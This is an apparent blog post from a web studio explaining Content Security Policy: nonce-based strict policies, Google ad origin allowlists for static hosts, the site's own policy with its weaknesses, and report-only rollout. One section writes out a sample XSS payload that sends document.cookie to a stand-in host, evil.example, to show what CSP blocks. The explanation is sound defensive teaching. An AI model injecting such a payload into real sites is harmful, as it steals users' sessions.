alion tech studio
  • services
  • faq
  • insights
  • about
  • contact
← back to insights
  1. home
  2. insights
  3. content security policy (csp)
may 18, 2026 • 11 min read • security & systems

content security policy (csp): a practical guide to hardening your site

By Alex I

Content Security Policy (CSP) is one of the most effective browser-security standards available today. When properly deployed, a CSP acts as a robust defense layer against common web vulnerabilities, including Cross-Site Scripting (XSS), clickjacking, and packet-injection attacks. By explicitly specifying which dynamic resources are authorized to execute on a page, CSP restricts the damage an attacker can inflict even if they find a vulnerability in your code.

However, almost no modern site runs entirely on first-party code. Analytics, embedded media, maps, payment widgets, tag managers, and advertising scripts all load from third-party origins — and each one is both a feature and a potential attack surface. These integrations are exactly where a CSP earns its keep, and also where it is most often misconfigured. Because many of them load resources dynamically from rotating domains, a policy that is too rigid will block legitimate scripts, leaving broken widgets, empty slots, and a console full of violations.

the challenge of dynamic third-party scripts

Many third-party integrations — ad tags, tag managers, A/B testing tools, analytics — do not load a single static file. They rely on a nested chain of script loaders that fetch further scripts from additional domains at runtime. Google's ad and tag scripts are a representative example: an initial loader evaluates the page and then pulls assets from various distributed Google domains. If your site enforces a generic policy such as default-src 'self', the browser refuses every external origin, the loader is blocked immediately, and you are left with console errors and empty blocks where content should be.

The job, then, is to coordinate your CSP directives so they grant the specific origins your integrations genuinely need — and nothing more — while keeping everything else locked down. There are two ways to do that, and which one you choose depends on whether your pages are rendered dynamically or served statically.

the gold standard: strict CSP with nonces

For dynamically rendered pages, the strongest approach is a strict CSP built around cryptographic nonces (number used once). A nonce is a random, mathematically secure string generated on the server for each page load. By declaring this nonce in your CSP header and attaching it to your trusted <script> tags, the browser can verify that a script is explicitly sanctioned by the server — and reject any injected script that lacks the secret.

The standard strict CSP structure looks like this:

Content-Security-Policy:
  object-src 'none';
  script-src 'nonce-{random-value}' 'strict-dynamic' https: 'unsafe-inline';
  base-uri 'none';

Crucially, the 'strict-dynamic' directive acts as a bridge. It tells the browser that any script carrying a valid nonce is trusted to dynamically create and append further scripts. Since many third-party loaders — ad tags and tag managers among them — rely heavily on dynamic script insertion, this lets the trusted top-level script load its auxiliary files without forcing you to maintain a massive, brittle allowlist of downstream domains. (Modern browsers honour 'strict-dynamic' and ignore the https: and 'unsafe-inline' fallbacks, which exist only for older engines.)

configuring CSP for static hosting environments

Strict nonces are the ideal choice for dynamic applications, but they are difficult to implement on static hosts like Firebase Hosting, GitHub Pages, or Netlify, where HTML is served straight from edge servers and cannot execute per-request code to generate a fresh nonce.

On static platforms, you fall back to a carefully tuned allowlist approach, declaring the trusted third-party origins (here, Google's ad and tag hosts) across the relevant directives in your firebase.json header configuration:

  • script-src: Allows the execution of scripts from Google's script hosts. We must include https://*.google.com, https://*.googlesyndication.com, https://*.googletagservices.com, https://*.gstatic.com, and https://*.doubleclick.net.
  • frame-src: Enables rendering the actual ad units in nested iframes, utilizing https://*.google.com, https://*.googlesyndication.com, and https://*.doubleclick.net.
  • connect-src: Permits the loaders to send XMLHttpRequest/Fetch requests to server-side endpoints, requiring https://*.google.com, https://*.googlesyndication.com, and https://*.doubleclick.net.
  • img-src: Allows image assets to load, requiring https://*.google.com, https://*.googlesyndication.com, https://*.doubleclick.net, and https://*.gstatic.com.

By defining these parameters, you establish a solid boundary that safeguards your users from rogue injections while giving legitimate third-party scripts the technical clearance they need to run reliably. Done well, it also prevents the layout shifts and blank spaces that hurt Core Web Vitals when a blocked resource fails to fill its slot.

the policy this site actually ships

Abstract advice is easy, so here is the concrete version: the Content-Security-Policy header served by the site you are reading right now, as configured in our firebase.json, broken down directive by directive with the reasoning — including the parts we are not proud of.

The enforcing CSP served by aliontechstudio.com as of july 2026. The Google origins support the AdSense integration; the two unsafe- entries are discussed honestly below.
directivewhat we allowwhy
default-src'self' + Google ad/tag originsthe fallback for any resource type without its own directive
script-src'self', Google ad & analytics hosts, 'unsafe-inline', 'unsafe-eval'the AdSense loader chain pulls scripts from several Google domains at runtime
style-src'self', 'unsafe-inline', fonts.googleapis.comthe web-font stylesheet, plus inline styles injected by ad iframes
font-src'self', fonts.gstatic.comthe font files themselves load from a separate Google origin
img-src'self', data:, Google image/ad hostsad creatives and measurement pixels
frame-srcGoogle ad hostsad units render inside cross-origin iframes
connect-src'self', Google hoststhe loaders phone home with fetch/XHR beacons
object-src'none'no plugins, ever — closes a legacy injection vector for free
base-uri'self'stops an injected <base> tag from hijacking every relative URL on the page
frame-ancestors'self' + Google hostsclickjacking protection — who may embed us

The honest assessment: 'unsafe-inline' and 'unsafe-eval' in script-src are real weakenings, and we want to be clear-eyed about that rather than pretend the policy is stricter than it is. They are there because parts of the ad stack still depend on them, and because a static host offers no per-request nonce infrastructure. Two things keep the risk proportionate in our case: this site accepts no user-generated content — no comments, no search reflection, no query parameters echoed into HTML — so the classic XSS entry points simply do not exist here; and every other directive stays tight, so even a hypothetical injected script could not exfiltrate to an attacker's origin (connect-src) or load further payloads from one (script-src allowlist). On a site that does render user input, we would not accept this trade — we would put the ad slots inside sandboxed iframes and keep the host page strict. Reality documented is better than perfection claimed.

what an attack looks like against a working csp

To make the value concrete, walk through the standard attack CSP exists to stop. An attacker finds a way to get <script>fetch('https://evil.example/steal?c='+document.cookie)</script> into a page — through a comment field, a stored profile name, a reflected query parameter. Without CSP, the browser executes it like any other script and the session is gone. With the allowlist policy above, two separate tripwires fire: the inline script is refused unless 'unsafe-inline' permits it (this is exactly why that keyword matters so much), and even if execution were achieved, the connect-src directive blocks the outbound request to evil.example, generating a violation report that tells you an injection attempt happened. Defence in depth means the attacker has to win every layer; CSP makes each layer explicit and auditable.

roll out safely with report-only mode

The fastest way to break a production site is to ship a strict CSP that you have not tested against real traffic. A single missing directive can silently block a critical script. This is exactly what Content-Security-Policy-Report-Only is for. Delivered as a separate header, it instructs the browser to evaluate your policy and report every violation it would have blocked — without actually blocking anything.

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self' https://*.googlesyndication.com;
  report-to csp-endpoint;

Run the report-only policy in parallel with your live site for a week or two, collect the violation reports through the report-to directive, and you will quickly see which legitimate resources you forgot to allow. Once the reports go quiet, you can promote the same policy to the enforcing Content-Security-Policy header with confidence.

common pitfalls to avoid

A few mistakes account for most CSP headaches. The first is leaning on 'unsafe-inline' for scripts: it disables the core protection CSP provides, because an attacker who injects a script tag is no longer blocked. Prefer nonces or hashes, and reserve 'unsafe-inline' for styles only if you genuinely cannot refactor them. The second is forgetting that directives do not inherit from each other beyond default-src — if you specify script-src but a resource type has no matching directive, the browser falls back to default-src, which can produce surprising blocks. The third is overusing broad wildcards: https: as a source allows scripts from any HTTPS origin and defeats the purpose. Be as specific as your dependencies allow, and revisit the policy whenever you add a new third-party integration.

A well-tuned Content Security Policy is never quite "finished" — it is a living part of your infrastructure that evolves with your dependencies. Treated that way, it remains one of the highest-value, lowest-cost defences you can add to any website.

AX

Alex I

Software engineer and founder of alion tech studio. Writes and consults on web performance, security, mobile apps, backend systems, cloud infrastructure, and fullstack architecture.

related reading

jun 10, 2026 • 11 min read • security

zero-trust architecture: a practical path, not a product

read article →
may 2, 2026 • 12 min read • cloud engineering

the power of serverless edge rendering on static platforms

read article →
alion tech studio

an independent software engineering studio. we write about performance, security, and building for the web, and consult on the same.

navigation

  • services
  • faq
  • insights
  • about
  • contact

legal

  • privacy policy
  • terms of service

© 2026 alion tech studio. all rights reserved.